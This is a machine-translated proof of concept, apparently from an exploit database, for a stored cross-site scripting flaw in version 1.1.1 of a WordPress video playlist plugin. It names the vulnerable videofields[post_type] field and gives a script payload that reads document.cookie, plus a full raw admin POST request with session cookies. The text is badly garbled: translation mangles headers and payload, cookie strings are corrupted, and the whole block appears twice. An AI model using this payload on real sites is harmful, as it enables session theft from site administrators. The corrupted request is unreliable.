＃利用标题: WordPress插件WP视频播放列表1.1.1-存储的跨站点脚本（XSS）
＃DATE: 2024年4月12日
＃利用作者: erdemstar
＃vendor: https://wordpress.com/
＃版本: 1.1.1
＃概念证明:
1。单击添加视频零件，然后在下面输入XSS有效载荷中的第一个输入或请求主体，名为“ videofields [post_type]'。
＃POC VIDEO:
＃请求: videofields [post_type]
＃PAYLOAD: SCRIPTTALERT（document.cookie）/脚本
＃request:
post/wp-admin/options.php http/2
HOST: ERDEMSTAR.LOCAL
cookie: thc_time=1713843219; booking_package_accountkey=2; wordpress_sec_dd86dc85a236e19160e960e96f4ec4b56b38=admin％7C1714079650％7CIDP5SIMFKCZSNZSNZY8WFWFWU5 GZFQVLOYP1JZXK77XPOW5R％7C27ABDAE5AA28462227B32B474B90F0E01FA4751D5C55C55C543B281C281C2348B60F078D2F; WP-SETTINGS TIME-4=1711124335; cld_2=like; _hjsessionuser_3568329=eyjpzci6imy4mwe3njljlwvin2mtnwm5ms05mzeyltq4mgrlztc4njc5sisimimnyzwf0zwf0zwqioje3mtezotmtezotmtezotm1mjq2ndysimv4axn0cn0cn0cn0c0c0cnij5; WP-SETTINGS TIME-1=1712096748; WP-SETTINGS-1=Mfold％3DO％26LibraryContent％3DBROWSE％26uploader％3D1％26categories_tab％3DPOP％26urlbutton％3Dfile％26Editor％26Editor％3Dtinymce％3DTINYMCE％26unfold％3D1; wordpress_test_cookie=wp％20cookie％20check; wp_lang=en_us; wordpress_logged_in_dd86dc85a236e19160e960e96f4ec4b56b38=admin％7C1714079650％7CIDP5SIMFKCZSNZSNZSNZY8WF WU5GZFQVLOYP1JZXK77XPOW5R％7CC64C64C696FD4114DBA180DC6974E102CC02DC9AB8D37482E5C45C4E86C4E86C8E8E84E1F74F9
内容长度: 395
cache-control: max-age=0
sec-ch-ua:'不（a:brand'; v='24'，'chromium'; v='122'
sec-ch-ua-mobile:0
sec-ch-ua-platform:'macos'
升级- 不肯定- requests: 1
Origin: https://erdemstar.local
content-type:应用程序/x-www-form-urlenceded
用户- 代理: Mozilla/5.0（Windows NT 10.0; Win64; X64）AppleWebkit/537.36（Khtml，像Gecko一样）Chrome/122.0.6261.112 Safari/537.36
ACCEPT: TEXT/HTML，应用程序/XHTML+XML，Application/XML; Q=0.9，Image/avif，Image/WebP，Image/apng，/; q=0.8，application/application/application/nabiped-exchange; v=b3; q=0.7
sec-fetch-site:相同原产
sec-fetch mode:导航
sec-fetch-user:1
sec-fetch-Dest:文档
Referer: https://erdemstar.local/wp-admin/admin.php？page=video_manager
Accept-incoding: Gzip，Deflate，br
Accept-Language: en-us，en; q=0.9
Priority: u=0，i
option_page=mediaManagerCPTaction=update_wpnonce=29af746404_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dvideo_manager%26settings-updated%3DtruevideoFields%5BmeidaId%5D=1vide Ofields％5BPOST_TYPE％5D=ScriptAlert（document.cookie）/scriptVideFields％％5BMediauri％5D=DummyVideOfields％％5BoptionName％5D=videofieldSvideFields％％5DDIONTYPE％5D=ADDSUBMIT=ADDSUBMIT=ADDSUBMIT=SAVE+SAVE+更改+更改
＃DATE: 2024年4月12日
＃利用作者: erdemstar
＃vendor: https://wordpress.com/
＃版本: 1.1.1
＃概念证明:
1。单击添加视频零件，然后在下面输入XSS有效载荷中的第一个输入或请求主体，名为“ videofields [post_type]'。
＃POC VIDEO:
＃PAYLOAD: SCRIPTTALERT（document.cookie）/脚本
＃request:
post/wp-admin/options.php http/2
HOST: ERDEMSTAR.LOCAL
cookie: thc_time=1713843219; booking_package_accountkey=2; wordpress_sec_dd86dc85a236e19160e960e96f4ec4b56b38=admin％7C1714079650％7CIDP5SIMFKCZSNZSNZY8WFWFWU5 GZFQVLOYP1JZXK77XPOW5R％7C27ABDAE5AA28462227B32B474B90F0E01FA4751D5C55C55C543B281C281C2348B60F078D2F; WP-SETTINGS TIME-4=1711124335; cld_2=like; _hjsessionuser_3568329=eyjpzci6imy4mwe3njljlwvin2mtnwm5ms05mzeyltq4mgrlztc4njc5sisimimnyzwf0zwf0zwqioje3mtezotmtezotmtezotm1mjq2ndysimv4axn0cn0cn0cn0c0c0cnij5; WP-SETTINGS TIME-1=1712096748; WP-SETTINGS-1=Mfold％3DO％26LibraryContent％3DBROWSE％26uploader％3D1％26categories_tab％3DPOP％26urlbutton％3Dfile％26Editor％26Editor％3Dtinymce％3DTINYMCE％26unfold％3D1; wordpress_test_cookie=wp％20cookie％20check; wp_lang=en_us; wordpress_logged_in_dd86dc85a236e19160e960e96f4ec4b56b38=admin％7C1714079650％7CIDP5SIMFKCZSNZSNZSNZY8WF WU5GZFQVLOYP1JZXK77XPOW5R％7CC64C64C696FD4114DBA180DC6974E102CC02DC9AB8D37482E5C45C4E86C4E86C8E8E84E1F74F9
内容长度: 395
cache-control: max-age=0
sec-ch-ua:'不（a:brand'; v='24'，'chromium'; v='122'
sec-ch-ua-mobile:0
sec-ch-ua-platform:'macos'
升级- 不肯定- requests: 1
Origin: https://erdemstar.local
content-type:应用程序/x-www-form-urlenceded
用户- 代理: Mozilla/5.0（Windows NT 10.0; Win64; X64）AppleWebkit/537.36（Khtml，像Gecko一样）Chrome/122.0.6261.112 Safari/537.36
ACCEPT: TEXT/HTML，应用程序/XHTML+XML，Application/XML; Q=0.9，Image/avif，Image/WebP，Image/apng，/; q=0.8，application/application/application/nabiped-exchange; v=b3; q=0.7
sec-fetch-site:相同原产
sec-fetch mode:导航
sec-fetch-user:1
sec-fetch-Dest:文档
Referer: https://erdemstar.local/wp-admin/admin.php？page=video_manager
Accept-incoding: Gzip，Deflate，br
Accept-Language: en-us，en; q=0.9
Priority: u=0，i
option_page=mediaManagerCPTaction=update_wpnonce=29af746404_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dvideo_manager%26settings-updated%3DtruevideoFields%5BmeidaId%5D=1vide Ofields％5BPOST_TYPE％5D=ScriptAlert（document.cookie）/scriptVideFields％％5BMediauri％5D=DummyVideOfields％％5BoptionName％5D=videofieldSvideFields％％5DDIONTYPE％5D=ADDSUBMIT=ADDSUBMIT=ADDSUBMIT=SAVE+SAVE+更改+更改